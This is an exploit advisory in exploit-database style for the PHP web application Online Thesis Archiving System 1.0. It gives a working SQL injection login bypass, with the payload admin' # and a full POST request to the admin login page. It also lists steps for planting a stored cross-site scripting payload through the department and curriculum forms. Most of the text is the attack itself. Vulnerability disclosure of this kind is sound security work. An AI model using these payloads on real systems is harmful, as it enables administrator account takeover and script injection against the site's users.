Online Thesis Archiving System 1.0 SQL Injection / Cross Site Scripting

`# Exploit Title: Online Thesis Archiving System 1.0 - SQLi Authentication Bypass & Stored (XSS)  
# Exploit Author: Yehia Elghaly (YME)  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/15083/online-thesis-archiving-system-using-phpoop-free-source-code.html  
# Version: Online Thesis Archiving System 1.0  
# Tested on: Windows, xampp  
# CVE: N/A  
  
- Description:SQLi Authentication Bypass  
SQL Injection vulnerability exists in Online Thesis Archiving System 1.0 1.0. An admin account takeover exists with the payload: admin' # - admin' or '1'='1  
  
PoC:  
  
  
POST /otas/admin/login.php HTTP/1.1  
Host: 192.168.113.130  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 35  
Origin: http://192.168.113.130  
DNT: 1  
Connection: close  
Referer: http://192.168.113.130/otas/admin/login.php  
Cookie: PHPSESSID=0jsudph494kpt2a5jvbvdvsrsc  
Upgrade-Insecure-Requests: 1  
  
username=admin' #&password=admin' #  
  
- Description: Stored Cross Site Scripting (XSS)  
Stored Cross Site Scripting (XSS) exists in Online Thesis Archiving System 1.0. Steps:   
1- Go to (http://localhost/otas/admin/?page=departments) and (http://localhost/otas/admin/?page=curriculum)  
2- Add new (curriculum) or (department)   
3- Insert your payload <script>("xssyf")</script>  
`